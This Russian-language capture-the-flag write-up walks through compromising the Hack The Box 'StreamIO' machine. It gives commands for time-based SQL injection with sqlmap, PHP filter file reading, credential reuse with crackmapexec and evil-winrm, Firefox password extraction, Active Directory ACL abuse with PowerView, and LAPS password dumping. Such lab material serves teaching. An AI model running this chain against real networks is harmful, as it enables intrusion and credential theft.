Хакер - HTB StreamIO. Раскручиваем доступ к MS SQL до полного захвата машины
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- SQL Injection
- Точка опоры
- Продвижение
- Локальное повышение привилегий
- BloodHound
- LAPS
В этом райтапе мы с тобой проэксплуатируем SQL-инъекцию в форме авторизации сайта и с помощью отладочной функции заполучим исходник сайта и полный доступ к MS SQL. Учетку администратора захватим через эксплуатацию права WriteOwner. В общем, будет интересно!
Наш подопытный — средняя по сложности машина StreamIO на основе Windows с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Начинаем, как обычно, со сканирования портов машины.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).


Видим много открытых портов:
- 53 — DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 1433 — Microsoft SQL Server 2019;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 3389 — RDP;
- 5985 — WinRM;
- 9389 — веб‑службы AD DS.
Ни SMB, ни LDAP ничего путного не ответили, к MS SQL дефолтные учетные данные не подошли, поэтому нам остался только веб. Тем более SSL-сертификат для порта 443 раскрывает нам еще два доменных имени, которые мы заносим в файл /etc/hosts.
10.10.11.158 streamio.htb DC.streamIO.htb watch.streamIO.htb


На первом сайте находим форму авторизации.

ТОЧКА ВХОДА
SQL Injection
Так как мы точно знаем, что на хосте работает СУБД, стоит проверить некоторые методы для обхода авторизации. Перебирать будем по списку с помощью Burp Intruder.

Это ничего не дало, поэтому попробуем нагрузки для поиска SQL-инъекции. И срабатывает нагрузка ;WAITFOR DELAY '0:0:30 для MS SQL с временной задержкой, которую можно определить по столбцу Response time.

Мы подтвердили наличие уязвимости, а значит, можем использовать sqlmap для удобной эксплуатации. Сперва запустим ПО для подбора нагрузки и создания шаблона.
sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch

Теперь мы можем приступить к получению данных. Первым делом нужно узнать названия существующих БД (параметр --dbs).
sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch --dbs

Тут нас интересуют две базы: streamio_backup и STREAMIO. Первую мы просмотреть не можем, поэтому получим таблицы второй (параметр --tables).
sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch -D STREAMIO --tables

Сразу становится ясно, что следующая цель — таблица users. Чтобы не пытаться вытащить все данные, попробуем получить названия колонок (параметр --columns).
sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch -D STREAMIO -T users --columns

sqlmap -u https://streamio.htb/login.php --data='username=admin&password=admin' -p username --batch -D STREAMIO -T users -C username,password --dump
Теперь получим данные (параметр --dump) только из колонок username и password.

У нас очень много хешей, предположительно MD5. Чтобы найти прообраз, я пользуюсь онлайновым ресурсом crackstation.net.

В итоге мы получаем следующие пары логинов и паролей, с которыми можно попытаться авторизоваться на сайте.

Но, к сожалению, доступ мы так и не получаем. Может, на сайте есть админка? Чтобы найти ее, будем брутить каталоги.
ffuf -u 'https://streamio.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Есть каталог admin, где мы авторизуемся от имени пользователя yoshihide.

ТОЧКА ОПОРЫ
У нас есть несколько доступных страниц. Но важны не сами страницы, а то, как сервер узнает, какую загрузить, — по имени параметра.

С помощью Burp Intruder мы можем пробрутить название параметра, чтобы попробовать найти новые страницы.


В итоге определяем четыре страницы. Три из них нам уже известны, а вот debug — что‑то новенькое.

Эта страница должна позволять читать файлы. Нас интересует код на PHP, а чтобы его получить, нужно использовать обертки на PHP. Давай закодируем страницу index.php в Base64.
?debug=php://filter/convert.base64-encode/resource=index.php

Для декодирования выделяем интересующий нас текст прямо в Burp и нажимаем Ctrl-Shift-B.

Код страницы раскрыл нам учетные данные для подключения к СУБД. Вот только CrackMapExec не разрешил нам подключиться, а DBeaver сработал без проблем. При этом мы можем просмотреть базу данных streamio_backup.
cme mssql 10.10.11.158 -u db_admin -p 'B1@hx31234567890'


Отправляем очередную порцию хешей и получаем новый пароль.

Проверяем новую пару учетных данных при подключении к ресурсу SMB.
cme smb 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'

Учетные данные валидны. Точно так же получается подключиться к службе WinRM и забрать флаг пользователя.
evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i 10.10.11.158

ПРОДВИЖЕНИЕ
При продвижении очень важно проверить все места, где могут быть учетные данные пользователей. Первым делом смотрим, какие программы установлены. И находим продукты Mozilla.
Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Данные приложений обычно хранятся в каталогах по путям вроде такого:
C:\Users\nikk37\Desktop\AppData\Roaming\

И мы нашли установленный Firefox, а браузеры — это кладезь полезной информации для пентестера. Чтобы достать данные, нам нужно определиться с профилем пользователя (в нашем случае дефолтный), а затем скачать из него два файла — logins.json и key4.db.

Расшифровать данные из этих файлов очень просто. Нам понадобится скрипт firepwd. Запустим его из каталога со скачанными файлами и получим расшифрованные учетки!

Паролей накопилось очень много, поэтому получим реальных системных пользователей и пробрутим с помощью CrackMapExec.
net users /domain

cme smb 10.10.11.158 -u users.txt -p passwords.txt

И получаем нового пользователя — JDgodd!
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
BloodHound
Больше ничего интересного на самом хосте не находим, поэтому поищем мисконфиги (уязвимые конфигурации). В этом может помочь BloodHound. Эта программа сканирует LDAP и использует графы для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory и Azure. Это помогает легко идентифицировать очень сложные пути атаки, которые в противном случае было бы невозможно найти быстро. Для работы с данными нам дополнительно нужно установить СУБД Neo4j. Или можно просто запустить ее в Docker.
docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/s3cr3t neo4j
Чтобы не закидывать исполняемый файл BloodHound на хост, а потом не скачивать результаты сканирования обратно, можно воспользоваться версией программы на Python.
bloodhound-python -d streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com' -gc dc.streamio.htb -c all -ns 10.10.11.158

Затем загружаем файлы с результатом в главное приложение BloodHound, помечаем пользователей, которые уже под нашем контролем (Mark as Owned), и выбираем опцию построения путей от таких пользователей (Shortest Path from Owned Principals).

Таким образом, пользователь JDgodd имеет право WriteOwner для группы Core Staff, а пользователи этой группы могут читать пароли LAPS! Привилегия WriteOwner дает нам возможность сменить владельца объекта на пользователя, которого мы контролируем, и тем самым захватить объект. Давай сделаем это с помощью PowerShell.
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -principalidentity "streamio\JDgodd"
Теперь, когда мы стали владельцем группы Core Staff, добавим себя в эту группу.
Add-DomainGroupMember -identity "Core Staff" -members "streamio\JDgodd" -credential $Cred
Готово: наш пользователь может читать пароли LAPS!
LAPS
LAPS позволяет управлять паролями локальных учетных записей компьютеров, присоединенных к домену. Пароли хранятся в Active Directory и защищены ACL, поэтому прочитать их могут только определенные пользователи. LAPS устанавливает разные случайные пароли для учетных записей локальных администраторов на каждом компьютере в домене. Таким образом, мы можем запросить пароль локального администратора системы с помощью скрипта LAPSDumper.
python3 laps.py -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb -l 10.10.11.158

Теперь подключимся с данным паролем как администратор машины.
evil-winrm -u Administrator -p '@v+422k]E;.9B0' -i 10.10.11.158

И машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei